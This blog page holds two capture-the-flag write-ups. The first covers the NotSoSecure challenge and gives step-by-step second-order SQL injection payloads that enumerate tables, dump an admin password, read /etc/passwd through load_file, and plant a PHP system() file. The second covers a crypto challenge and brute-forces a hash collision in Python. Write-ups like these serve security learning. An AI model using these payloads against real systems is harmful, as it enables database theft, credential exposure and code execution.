Sunday, October 27, 2013

NotSoSecure CTF writeup

The NotSoSecure CTF was a one-player CTF with only 2 flags to capture. At the beginning, players were presented with a simple login page:

I was trying for a very long time to inject some SQL into the username of password fields, to no avail. Then when I was checking out Twitter, I found that somebody has already managed to log in by registering. Then I tried to load register.php, and it worked. I got a nice message there: "Invalid data".

I tried to send post data to the register page, but I couldn't get the post parameter names correctly, because I always received the "Invalid data" message. After this, I tried to load different pages with mixed results. Then when I tried /login/ the result was strange. The HTML was the same, but the CSS could not be loaded because of the different path. It was the same with /register/ and /login/login/.../.

After looking at the HTML source in detail, I found that the login parameters are actually submitted to checklogin.php. When trying to load the /checklogin/ page however, the browser displayed a redirection error. That was strange, so I checked it out with this little python code instead:

url = ""
print requests.get(url, allow_redirects=False).text
The result was: 7365637265745f72656769737465722e68746d6c. If we unhexlify this value, we get: "secret_register.html", and this is the first clue. After this I could register, and log in with the new user. This is what I saw when logging in:

Again I spent lots and lots of time trying to slip some SQLi into the system when registering, but it never seemed to work. No error messages, and the user was registered correctly every time. Then I looked at the cookies after logging in and I found something interesting:

The session_id was "cGxhaW50ZXh0QHBsYWludGV4dC5wbA%3D%3D", which is a base64 encoded string. After decoding it I got "", which is the fake e-mail address I registered with. During some tests I discovered that there is no session_id cookie if I try to inject into the username field. After this I wrote a python script that registers a user with the input I supply and checks the cookies. You can find the script here. These values were interesting:

registered value --> cookie
admin\           -->
admin\\          --> admin\
admin\\\         --> admin\
admin\\\\        --> admin\\
The backslashes are very suspiciously escaped here so I tried to do some SQLi and check the cookie for the results. Amazingly it worked. Here is the output of my script:
test' or 1=1--
test' and 1=0 union all select 1--
Cookie: missing
test' and 1=0 union all select 1,2--
Cookie: 1
Gotcha! It's time to dump table names and columns. A log of my tries follows, with some of the unnecessary tries deleted:

test' and 1=0 union all select 1,2 from information_schema.tables--
Cookie: 1
We have read access!
test' and 1=0 union all select table_name,2 from information_schema.tables limit 40,1--
Cookie: users
test' and 1=0 union all select table_schema,2 from information_schema.tables limit 40,1--
Cookie: 2ndorder
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 0,1--
Cookie: id
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 1,1--
Cookie: name
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 2,1--
Cookie: password
And I can find the password for the admin with this query:
test' and 1=0 union all select concat(name,char(0x20),password),1 from 2ndorder.users--
Cookie: admin sqlilabRocKs!!
Yay! I can now log in and get the first flag!

And I get a very clear clue about the second flag. I need to access files on the server, namely secret.txt. Let's see if I have file privileges in MySQL:
test' and 1=0 union all selectload_file('/etc/passwd'),1--
Cookie: root:x:0:0:root:/root:/bin/bash
I do, and I just found another clue: temp123 is a user that we might log into, because they have a weak password. And indeed, the password was "weakpassword1". I can now look around on the server to find the second flag. It's in the root directory and it's only readable by the www-data user, and so I need to have code execution from www-data. To achieve this, I created a public_html directory for user temp123 and placed a php file in it:
<?php echo system("cat /secret.txt"); ?>
This worked like a charm! After visiting I found the second flag.

Thanks for the challenge to Sid and NotSoSecure CTF, it was nice!

Thursday, October 24, 2013 CTF - Crypto 200 (Geier's Lambda) CTF was great! !SpamAndHex finished at #15, so there is room for improvement, but at the end of the first day we were at #3, which was pretty nice. Geier's Lambda was a crypto challenge, which we managed to solve third out of all the teams, even landing a bonus point. I did not work on this alone, thanks to the 2 other guys that worked on this!

The task

We were given a Haskell source for a cryptographic cipher. The task was to find a collision with a given key, which was "Le1sRI6I". First we wanted to identify the cipher to see if it's an already existing one. By googling the hex version of the integer constants (2654435769, 3337565984) we found that this is most probably the xTea cipher.

First we were trying to bruteforce the collision, but we were looking at it the wrong way. However, we found something important when playing with the haskell code -- the cipher only uses the first 4 characters from the key.

After inspecting the source in detail we found that the "hash" function of the code is not used anywhere, and this gave us a clue. We translated the haskell version to python:
def hash(passwd):
    acc = (1, 0)
    for x in passwd:
        (a, b) = acc
        acc = (a + ord(x), a + b + ord(x))
    (a, b) = acc
    return a | (b << 16)
All this function does is collecting the sum of ASCII values into one part of the tuple, and collecting another aggregate value into the other. It is quite easy to find a collision for this. This is the bruteforce approach:
def brute():
    arr = string.ascii_letters + string.digits
    for x in arr:
        for y in arr:
            for z in arr:
                for w in arr:
                    s = "%c%c%c%c" % (x,y,z,w)
                    if hash(s) == hash("Le1s"):
                        print s
This gave us a list of around 1000 possible keys. Then we wrote a function that evaluates the resulting key by executing the Haskell binary (that we compiled from the source) and checking the number of ASCII characters in the deciphered result:
for pwd in passwords:
process = Popen(['./pwd_check', pwd], stdout=PIPE)
stdout, stderr = process.communicate()
dat = stdout
hex_str = "%x" % (int(dat))
if len(hex_str) % 2 != 0:
hex_str = "0" + hex_str
res =  unhexlify(hex_str)
score = 0
for ch in string.ascii_letters + string.digits + " _":
if ch in res:
score += 1
if score > 5:
print res
And after running this, we got the key straight away: T3aP4rTy

Thanks again to the FluxFingers team for the nice challenges.